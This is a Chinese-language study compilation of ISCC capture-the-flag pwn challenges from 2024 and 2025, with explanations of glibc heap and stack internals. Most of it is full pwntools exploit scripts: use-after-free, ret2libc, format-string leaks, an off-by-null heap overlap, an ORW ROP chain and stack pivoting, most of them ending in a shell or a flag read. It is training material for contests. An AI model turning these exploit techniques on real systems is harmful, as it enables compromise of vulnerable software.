马上要打ISCC的比赛了,这里把ISCC的题目做了一个整理
并对24和25年的题目和类型进行了一个整理
2024
chaos 直接uaf漏洞写flag就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * import sys from LibcSearcher import * file_path = "./chaos" remote_host = "127.0.0.1" remote_port = 1111 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] elf = ELF(file_path) libc = elf.libc def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) def exploit(): sla(b"Please Choice:",str(5)) sla(b"Please Input Chunk size :",str(0x68)) sla(b"Please Input Content :",b"Flag") p.interactive() count = 0 while True: count += 1 try: if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) print(f"[*] 第 {count} 次尝试爆破...") exploit() print(f"[+] 爆破成功,共尝试了 {count} 次!") break except Exception as e: print(f"[-] Wrong: {e}") try: p.close() except: pass
Your_program gets函数溢出,ret2libc3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * import sys from LibcSearcher import * file_path = "./attachment-42" remote_host = "127.0.0.1" remote_port = 1111 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] elf = ELF(file_path) libc = elf.libc def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) def exploit(): printf_plt = elf.plt['printf'] printf_got = elf.got['printf'] rdi = 0x401763 ret = 0x40101a p.sendlineafter('key: ', b'A' * 0x28 + p64(rdi) + p64(printf_got) + p64(ret) + p64(printf_plt) + p64(0x4014DA)) p.recvuntil('\n') libcbase = u64(p.recv(6).ljust(8, b'\0')) - libc.sym['printf'] sys = libcbase + libc.sym['system'] bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__() p.sendlineafter('key: ', b'A' * 0x28 + p64(rdi) + p64(bin_sh) + p64(ret) + p64(sys)) p.interactive() count = 0 while True: count += 1 try: if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) print(f"[*] 第 {count} 次尝试爆破...") exploit() print(f"[+] 爆破成功,共尝试了 {count} 次!") break except Exception as e: print(f"[-] Wrong: {e}") try: p.close() except: pass
easyshell 根据实际情况去设计走向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import * import sys from LibcSearcher import * file_path = "./easyshell" remote_host = "127.0.0.1" remote_port = 1111 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) # gdb.attach(p, """ # b *0x08048666 # c # """, api=True) elf = ELF(file_path) libc = elf.libc def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) sla(b'>>', b'flagis %15$p,%16$p,%17$p,') canary = int(p.recvuntil(b',', drop=True),16) rbp = int(p.recvuntil(b',', drop=True),16) elf = int(p.recvuntil(b',', drop=True),16) sla(b'>>', b'exit'.ljust(56,b'\x00') + flat(canary,elf-0x1520+0x1421,elf-0x1520+0x128e)) p.interactive() # def exploit(): # p.interactive() # count = 0 # while True: # count += 1 # try: # if 're' in sys.argv: # p = remote(remote_host, remote_port) # else: # p = process(file_path) # print(f"[*] 第 {count} 次尝试爆破...") # exploit() # print(f"[+] 爆破成功,共尝试了 {count} 次!") # break # except Exception as e: # print(f"[-] Wrong: {e}") # try: # p.close() # except: # pass
environ:star2: 堆题没有直接栈泄露,用 environ 间接拿栈地址
在 Linux 系统里,environ 是一个全局变量,定义在 libc 中。它的身份是环境变量的“总管” 。
物理位置 :它本身存储在 libc 的数据段 。
存储内容 :它里面存的是一个栈地址 。这个地址指向栈上存储“环境变量字符串指针”的区域。
诞生时刻 :因为程序运行期间,可能需要查看环境变量,所以操作系统在程序启动时,就把环境变量在栈上的起始坐标存到了 environ 这个“快捷方式”里
PATH
1 >PATH=/usr/local/bin:/usr/bin:/bin
作用:命令搜索路径
你在终端直接输 ls、cat、python 不用写全路径,靠的就是 PATH。
系统会从 PATH 里的目录挨个找这个程序在哪,找到就执行。每个冒号是一个文件夹
HOME
作用:当前用户的家目录
cd 不加参数,直接回到 HOME
程序存配置、缓存、文件,默认都往 $HOME 下放
USER
作用:当前登录用户名
很多程序用来判断权限、区分用户身份、日志记录。
SHELL
作用:默认命令行解释器
敲命令、管道、脚本交互,都是靠 /bin/bash 这个程序解析执行。
环境变量(栈底,地址最高)字符串
1 2 3 4 PATH=/usr/local/bin:/usr/bin:/bin HOME=/home/user USER=root SHELL=/bin/bash
开启 ASLR 后:
堆题最大痛点:很难直接泄露栈地址
于是 environ 成了桥梁 :
先泄露出一个 libc 地址(如 puts@got、printf@got)
算出 libc_base
用 libc_base + offset 算出 &environ
读取 *environ → 拿到栈地址
知道栈地址后,就能精确定位返回地址、ebp,打 ROP
一句话:
environ = 从 libc 通向栈的钥匙
bt查看调用的栈帧
easy _heap 2.35的libc+沙盒+of by null+orw
edit中有一个of by null
禁了execve
syscall 没了,hook也取消了,打orw
堆题中要打栈就要用到environ,所以就要泄露libc地址
注意保护
2.29 引入key开始校验double free
2.32 之后会把fd处改成(fd_addr>>12)^tar的结果,然后bk改为key,防止double free
2.34 彻底删除 __free_hook 和 __malloc_hook (2.34+)
1.泄露heap_base 2.32+ 的 Tcache堆块被释放后,fd 存放 混淆指针 , bk的位置存放 Key (标志位,用于检测 Double Free)。
下面的chunk是完全混淆过的(addr1>>12)^tar1,上面的fd只是addr0>>12,因为这个块是链表最后一个,它指向 NULL (0),而且因为右移12.它的低位舍弃了,>>12之后的结果是一样的,所以可以通过真实的地址拿到
程序在取出的时候一般只会把key清零,但是由于下面的这个,会把我们的fd的一个位置清零
1 2 result = (read(0, *(&chunk_list + index), size_list[index]) - 1LL + *(&chunk_list + index)); *result = 0;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #heap_base泄露 add(0xF8, b'A') add(0xF8, b'A') delete(0) delete(1) add(0xF8, b'A')#0 add(0xF8, b'A')#1 show(0) one1 = u64(io.recv(8)) show(1) one2 = u64(io.recv(8)) success(f'one1, one2 =>> {hex(one1)} + {hex(one2)}') heap = one1 ^ one2 + 0x90 success(f'heap =>> {hex(heap)}')
2.of by null 泄露libc ublink要进入unsorted bin或small bin
backward consolidate ① 找到前一个 chunk
1 2 >prev_chunk = chunk - prev_size; >prev_chunk = current - 0x1f0
② 判断 prev_chunk 是否 inuse
③ 如果 prev_chunk 是 fake chunk(你构造的)
1 2 >进入unlink(prev_chunk) >P->fd->bk == P
在 GLIBC 2.23 (及更早) 中: 当时的 Off-by-null(尤其是经典的 checkpoint 利用)利用的是 size 和 prev_size 的级联效果。如果目标是触发合并,只要满足:
prev_size 伪造正确。
P bit 位被清掉。
主要条件 :只要能进入 unlink 逻辑,早期的检查相对宽松。如果仅仅是想让两个堆块合并,不一定要伪造一个完整的空闲块。
在 GLIBC 2.35 (以及 2.29 之后) 中: 为了彻底防御这种合并攻击,官方引入了 “Unlink Chunk Size Check” :
1 2 if (__builtin_expect (p->fd->bk != p || p->bk->fd != p, 0)) malloc_printerr ("unlink(): corrupted double-linked list");
如果你在 2.35 下做 Off-by-null,如果你只是简单地减小了 prev_size 却没在对应位置构造好 fd 和 bk 指针,程序会直接 Crash。
为什么 unlink 拿到的不是加密地址?不要搞混了 在 GLIBC 的设计中,堆块(Chunk)在空闲状态下会根据大小和状态进入不同的“容器”(Bin):
Tcache 和 Fastbin(单向链表) :
为了极致的性能,它们只使用一个 next 指针(即 Chunk 结构体中的 fd 位置)。
Safe Linking 只保护这里 。当你把一个块放入 Tcache 时,系统会执行 P->fd = (Addr >> 12) ^ Addr。
Unsorted/Small/Large Bin(双向链表) :
当你描述的“向后合并”发生时,涉及到的通常是 Smallbin 或 Unsorted Bin 中的块。
这些 Bin 永远不加密 。它们的 fd 和 bk 存的就是实打实的 64 位原始内存地址。
3.environ附近找ret
Bin 类型
链表结构
存储逻辑
指针加密
合并机制
Tcache
单向
LIFO (后进先出)
是
无
Fastbin
单向
LIFO (后进先出)
是
无 (直到触发 Consolidate)
Unsorted
双向
插入头部 (FIFO 遍历)
否
有 (向前/向后)
Small Bin
双向
FIFO (先进先出)
否
有
Large Bin
双向
排序插入
否
有
为什么要free两次 tcache(LIFO)
先delete5然后4
Head ->5 -> NULL
Head -> Chunk 4 -> Chunk 5 -> NULL
第一次 malloc :
当你调用 add(size, ...) 时,libc 从 Head 取出 Chunk_B。
关键动作 :libc 会将 counts 从 2 减为 1 ,并将 Head 指向 Chunk_B->next(即你的 Target)。
第二次 malloc :
当你再次调用 add(size, ...) 时,libc 检查 counts。因为此时 counts 是 1 (大于 0),检查通过。
关键动作 :libc 从 Head 取出 Target 并返回给你。同时 counts 从 1 减为 0 。
如果你只释放了一个块(counts 为 1): 在第一次 malloc 后,counts 会直接变成 0。即使你修改了 next 指针指向了 Target,当你尝试第二次 malloc 申请 Target 时,libc 会发现该 Bin 的计数器为 0,从而拒绝分配,攻击就会失败。
4.add_ret处写rop链 再次执行放rop链
environ中存储的返回地址是0x8结尾的,为了16字节对齐,需要malloc到ret-8处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 from pwn import * import sys file_path = "./CAT_DE" remote_host = "182.92.237.102" remote_port = 2122 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) elf = ELF(file_path) libc = ELF('./libc.so.6') def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def add(size, content): sla('>> \n', '1') sla('size:\n', str(size)) sa('content:\n', content) def delete(index): sla('>> \n', '2') sla('idx:\n', str(index)) def show(index): sla('>> \n', '3') sla('idx:\n', str(index)) ru('context:\n') def edit(index, content): sla('>> \n', '4') sla('idx:\n', str(index)) sa('content:\n', content) #heap_base泄露 add(0xF8, b'A') add(0xF8, b'A') delete(0) delete(1) # dbg() add(0xF8, b'A')#0 add(0xF8, b'A')#1 show(0) one1 = u64(p.recv(8)) show(1) one2 = u64(p.recv(8)) success(f'one1, one2 =>> {hex(one1)} + {hex(one2)}') heap = one1 ^ one2 + 0x90 success(f'heap =>> {hex(heap)}') # dbg() #of by null堆块重叠泄露libc add(0xF8, b'A')#2 add(0xF8, b'A')#3 for i in range(7): add(0xF8, b'A') for i in range(7): delete(i + 4) edit(0, p64(0) + p64(0x101 + 0xF0) + p64(heap) + p64(heap)) edit(1, p64(heap + 0x110) + p64(heap + 0x110)) edit(2, b'A' * 0xF0 + p64(0x1F0)) # dbg() delete(3) add(0xE8, b'A')#3 show(2) libc_base =uu64()-0x219ce0 print(hex(libc_base)) libc.address = libc_base environ =libc.sym['environ'] rdi = libc_base + 0x2a3e5 rsi = libc_base + 0x2be51 rdx_r12 = libc_base + 0x11f497 #拿environ中的环境变量地址 add(0x150, b'A') #4(2) add(0x150, b'A')#5 delete(5)#要free两次把count改成2 delete(4) edit(2, p64(((heap + 0x200) >> 12) ^ (environ - 0x10))) add(0x150, b'A')#4 add(0x150, b'A')#5 tar show(5) stack = uu64()-0x140 success(f'stack =>> {hex(stack)}') # dbg() #再次覆盖unsorted bin去 add(0x150, b'A')#6 delete(6) delete(4) edit(2, p64(((heap + 0x200) >> 12) ^ (stack - 0x8)))#16字节对齐 add(0x150, b'A') #open("flag", 0) pay=p64(0) + p64(rdi) + p64(stack + 0xa8)+p64(rsi) + p64(0) + p64(libc.sym['open']) #read(3, heap_addr, 0x50) pay+=p64(rdi) + p64(3)+p64(rsi) + p64(heap + 0x10)+p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['read']) #write(1, heap_addr, 0x50) pay+=p64(rdi) + p64(1) + p64(rsi) + p64(heap + 0x10) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['write']) pay+=b'flag\x00\x00\x00\x00' print(hex(len(pay))) pause()#0xb8 add(0x150,pay) p.interactive()
ISCC_easy 格式化字符串泄露libc以及数据填补+ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from pwn import * import sys from LibcSearcher import * file_path = "./ISCC_easy" remote_host = "127.0.0.1" remote_port = 1111 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) # gdb.attach(p, """ # b printf # c # """, api=True) elf = ELF(file_path) libc = elf.libc def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) tar=0x0804C030 sla(b"Let's have fun!",b'aaaaa%8$hhn%15$p' + p32(tar)) ru(b"0x") libc_base=int(p.recv(8),16)-0x1aed5 # libc=uu32() print(hex(libc_base)) ret=0x080492E7 system,binsh=bin_sys(libc_base) sla(b"Input:",b"a"*0x94+p32(system)+p32(ret)+p32(binsh)) p.interactive() # def exploit(): # p.interactive() # count = 0 # while True: # count += 1 # try: # if 're' in sys.argv: # p = remote(remote_host, remote_port) # else: # p = process(file_path) # # print(f"[*] 第 {count} 次尝试爆破...") # exploit() # print(f"[+] 爆破成功,共尝试了 {count} 次!") # break # except Exception as e: # print(f"[-] Wrong: {e}") # try: # p.close() # except: # pass
ISCC_U 有管理堆块和uaf漏洞
直接改和管理堆块中记录的show函数执行的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import * filename = './attachment-39' context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] debug = 0 if debug : io = remote('182.92.237.102', 10016) else: io = process(filename) elf = ELF(filename) context(arch = elf.arch, log_level = 'debug', os = 'linux') libc = elf.libc def dbg(): gdb.attach(io) pause() def add(size, content): io.sendlineafter('choice :', '1') io.sendlineafter('Note size :', str(size)) io.sendafter('Content :', content) def delete(index): io.sendlineafter('choice :', '2') io.sendlineafter('Index :', str(index)) def show(index): io.sendlineafter('choice :', '3') io.sendlineafter('Index :', str(index)) puts_got = elf.got['puts'] add(0x16, 'A') add(0x16, 'A') delete(0) delete(1) add(0x8, p32(0x80492b6) + p32(puts_got)) show(0) puts_addr = u32(io.recv(4)) success('puts_addr =>> ' + hex(puts_addr)) libc_base = puts_addr-0x6dc40 print(hex(libc_base)) sys = libc_base + libc.sym['system'] success('sys =>> ' + hex(sys)) delete(2) add(0x8, p32(sys) + b'||sh') show(0) io.interactive()
miao 静态编译
one_gadget找就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import * from struct import pack # Padding goes here p = b'' #p += pack('<I', 0x0806f30a) # pop edx ; ret p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret p += pack('<I', 0x0) p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8666) # pop eax ; ret p += b'/bin' p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret #p += pack('<I', 0x0806f30a) # pop edx ; ret p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret p += pack('<I', 0x0) p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8666) # pop eax ; ret p += b'//sh' p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret #p += pack('<I', 0x0806f30a) # pop edx ; ret p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret p += pack('<I', 0x0) p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049573) # xor eax, eax ; ret p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080def3d) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 #p += pack('<I', 0x0806f30a) # pop edx ; ret p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret p += pack('<I', 0x080ea060) p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049573) # xor eax, eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0807acff) # inc eax ; ret p += pack('<I', 0x0806cf83) # int 0x80 io = process('./miao') # io = remote('182.92.237.102', 10015) context(arch='i386', log_level='debug') #gdb.attach(io, "b*0x80489cf\nc") #get canary io.sendlineafter(b"Would you like to say something to it?\n", b'%31$x') canary = int(io.recv(8), 16) io.sendlineafter(b" ( ^.^ ) \n", b'A'*100 + flat(canary,0,0,0) + p) io.interactive()
内存分配:star2: 基础知识:内存分配的两大工具
在 Linux 中,内核给进程分配内存只有两个底层系统调用:brk 和 mmap 。
A. brk (The Growing Hill)
原理 :它通过移动一个叫 program break 的指针来增加内存。
当你调用 malloc(10) 申请 10 个字节时,malloc 嫌每次都找内核要太麻烦(系统调用开销大),它会直接调用 brk 将 program break 指针向上移动一大截(比如一次性推高 132 KB)。
然后,malloc 把这 10 个字节给你,剩下的空间它自己偷偷留着(这被称为 Top Chunk )。
特点 :只能从低向高 连续增长
归属 :主线程 (Main Thread)默认使用 brk 来管理它那个被称为 [heap] 的区域。
因为 brk 指针是进程全局唯一的。如果多个线程同时通过 brk 扩地,会导致严重的竞争和性能锁死。
主线程拥有特权,独占 [heap] 区域。它从低地址向高地址生长,逻辑简单直接。
B. mmap (The Floating Island)
原理 :在进程的虚拟内存空间里(通常在栈和堆之间的“大空洞”中 )直接划出一块区域。
特点 :从高往低 ,内核会从这块空洞的“顶端”(靠近栈底的位置)开始往“低地址”方向找。,可以是不连续的“孤岛”
当子线程需要内存时,glibc 会说:“别去挤主线程那块地,我用 mmap 给你单独开辟一块地。”
初始化 :子线程第一次 malloc 时,glibc 调用 mmap 分配一个巨大的内存块(在 64 位系统上通常是 64MB)。
布局 :这64MB的**最开头(低地址处)**不是堆块,而是 malloc_state 结构体 (即 Arena 结构体)。它记录了这个 Arena 所有的信息(比如 fastbins、top chunk 的位置等)。
归属 :大内存申请(默认超过 $128KB$)或者子线程的堆(Thread Arena)。
mmap子线程利用 第一阶段:旧领地饱和
假设在子线程中不断的用0x4000去消耗arena
原来的 64MB空间被这些0x4000的块填满了。此时,这块区域最后的 top chunk 已经小到不足以分配下一个 0x4000 的请求。
mmap的地址特征
这个区域的起始地址通常是 0x...000000 结尾的对齐地址。
子线程的“指挥部” thread_arena (malloc_state 结构体) 就位于这个区域的起始位置
第二阶段:内核的分配策略(重点!)
glibc 发现没地了,再次请求内核:“再给我 mmap 一块地!”
在 Linux 的虚拟内存布局中,mmap 区域通常是从高地址向低地址 方向去寻找空闲空洞的。
奇迹发生了 :这两块地在内存中竟然是首尾相连 的。
致命的“贴脸”分配
当旧的堆区(Region B)爆满后,glibc 申请了 Region A
精准定位**:堆管理器在新领土(区域 A)里进行分配。**为了节省空间,它通常会从这块新地的末尾开始利用。看到的 Region A 大小是 0x7be3000,但这只是内核划出的最大上限。
具体从哪里开始要通过调试去看
进入之后先add
默认分配64MB,所以选择这个大小,未分配的剩余地址不够0x4000,将要开辟新的空间
它节省空间会从A Region的下部开始是用,gdb调试看还相差多少到B
还有0x3f0000没用,
算出来应该是262个
每次输入不超过size,输入字符总数会在下一轮进行校验,超过size就停止
在 glibc 中,每个子线程的 anon 映射区(Region)开头都有一个 struct heap_info。它的结构定义如下:
1 2 3 4 5 6 7 >typedef struct _heap_info { >mna_arena *ar_ptr; /* 偏移 0x00: 指向关联的 malloc_state */ >struct _heap_info *prev; /* 偏移 0x08: 指向前一个 heap_info */ >size_t size; /* 偏移 0x10: 当前 region 的总大小 */ >size_t mprotect_size; /* 偏移 0x18: 记录有多少内存是已经 rwx 可读写的。 */ >/* 后面紧跟的是对齐字节和 malloc_state */ >} heap_info;
为什么可以直接aaaa覆盖 执行 即 malloc时,glibc 不读取 heap_info。它只知道 malloc_state (Arena) 在哪。
每个线程都有一个私有的内存区域,叫做 TLS ,当一个子线程被创建并第一次调用 malloc 时,glibc 会为它分配一个 Arena。一旦分配完成,glibc 就会把这个 Arena 的地址存放在该线程的 TLS 中。
每次你调用 malloc,代码第一步不是去翻堆内存,而是去 fs 段寄存器 (在 Linux x64 中,fs 指向当前线程的 TLS 头部)里读出这个地址。
内存“只读不防” :内核只管这一块内存是 rw-(可读写),它不关心你写的是合法的指针还是 'aaaa'。
之后用这个函数,它的第一个参数是堆地址
改chunk让它malloc过去
把堆地址处放/bin/sh,并且把psub_400AF8函数改为system
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] def dbg(): gdb.attach(io) pause() filename = './shopping' io = process(filename) elf = ELF(filename) context(arch = elf.arch, log_level = 'debug', os = 'linux') def dbg(): gdb.attach(io) pause() libc =elf.libc def add(size, count, content = ''): io.sendlineafter('Action: ', '1') io.sendlineafter('Item ID: ', str(size)) io.sendlineafter('Quantity: ', str(count)) if (content == ''): io.sendlineafter('Add gift message? (0/1): ', '0') else: io.sendlineafter('Add gift message? (0/1): ', '1') io.sendafter('Message: ', content) system_plt = elf.plt['system'] io.sendlineafter('Enter the password: ', 'I\'m ready for shopping') sleep(3) for i in range(12): add(0x4000, 1000) # dbg() add(0x4000, 262, b'a' * 0x3ff0) q = 0x3f0000 // 0x4010 r = 0x3f0000 % 0x4010 print("商:", q) # 结果是 0x40 (十进制 64) print("余数:", hex(r)) # dbg() io.send(b'a' * 0x50 + p32(0) + p32(2) +10*p64(0x60201d)) # dbg() add(0x60, 0, (b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)).ljust(0x60, b'\x00')) io.interactive()
2025
栈迁移:star: 栈迁移(Stack Pivoting) 主要解决栈溢出空间不足 的问题。它通过劫持栈指针(ESP/RSP),将程序执行流从原始受限栈区,转移到攻击者可控的大片可写内存 (如 BSS 段、堆),从而自由构造 ROP 链。
一、核心原理:leave; ret 指令
栈迁移的关键是利用函数尾声的 leave; ret 指令组合。其汇编行为如下:
1. leave 指令
等价于两条指令:
1 2 mov rsp, rbp ; 将栈顶指针ESP指向栈底指针EBP的位置 pop rbp ; 从栈中弹出旧的EBP值,恢复上一层栈帧
栈是向下增长的,pop之后 rsp+8 (就是原来的rbp+8)
如果把rbp 改成了 bss + 0x30,那么执行完 leave 后,rsp 就精准地指向了 bss + 0x38 。
2. ret 指令
1 pop rip ; 从栈顶弹出数据,赋值给指令指针EIP,实现跳转
eg:
1 2 3 4 5 6 #执行 leave mov esp, ebp:#ESP 指向被覆盖的新 EBP(bss_addr - 4) pop ebp: #ESP = [bss_addr - 4](此值可忽略) #执行 ret pop eip: #EIP = [bss_addr]
read函数的栈迁移
1 2 3 4 5 6 #buf = byte ptr -50h lea rax, [rbp+buf] ;rax=rbp+buf mov edx, 60h ; nbytes mov rsi, rax ; buf mov edi, 0 ; fd call _read
指令
行为
例子
mov
取内存里的值
mov eax, [ebx+4] → 把地址 ebx+4 里存储的数据 放进 eax
lea
计算地址本身
lea eax, [ebx+4] → 把 ebx+4 这个地址数值 放进 eax
Dilemma 格式化字符串漏洞+沙盒+栈迁移
有canary
泄露libc和canary
栈迁移 不知道flag.txt字符串的位置,所以通过把我们的rop链放在已知的位置上去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import * context(log_level='debug', arch='amd64', os='linux') p = process('./attachment-42') elf = ELF('./attachment-42') libc = elf.libc puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] pop_rdi_init = 0x40119a # 初始 gadget ret = 0x40101a p.recvuntil(b'where are you go?') p.sendline(b'1') p.recvuntil(b'Enter you password:') payload = b'%11$paaaa%19$p' p.sendline(payload) p.recvline() canary = int(p.recv(18), 16) print(f"Canary: {hex(canary)}") p.recvuntil(b'aaaa') leak = int(p.recv(14), 16) libc_base = leak - 0x29d90 print(f"Libc Base: {hex(libc_base)}") pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret'), executable=True)) pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret'), executable=True)) pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12 ;ret'), executable=True)) open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] p.recvuntil(b'I will check your password:') payload = b'a'*(0x28) + p64(canary) + p64(0x404800) + p64(0x4011c9) p.send(payload) payload = b'flag.txt\x00' payload = payload.ljust(0x10, b'\x00') payload += b'a'*(0x18) + p64(canary) + b'a'*(0x8) flag_addr = 0x404800 - 0x30 bss = 0x404500 # Open(flag_addr, 0) payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0) + p64(open_addr) # Read(3, bss, 0x50) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read_addr) # Write(1, bss, 0x50) payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write_addr) p.sendline(payload) p.interactive()
讲解拓展 stacksmall
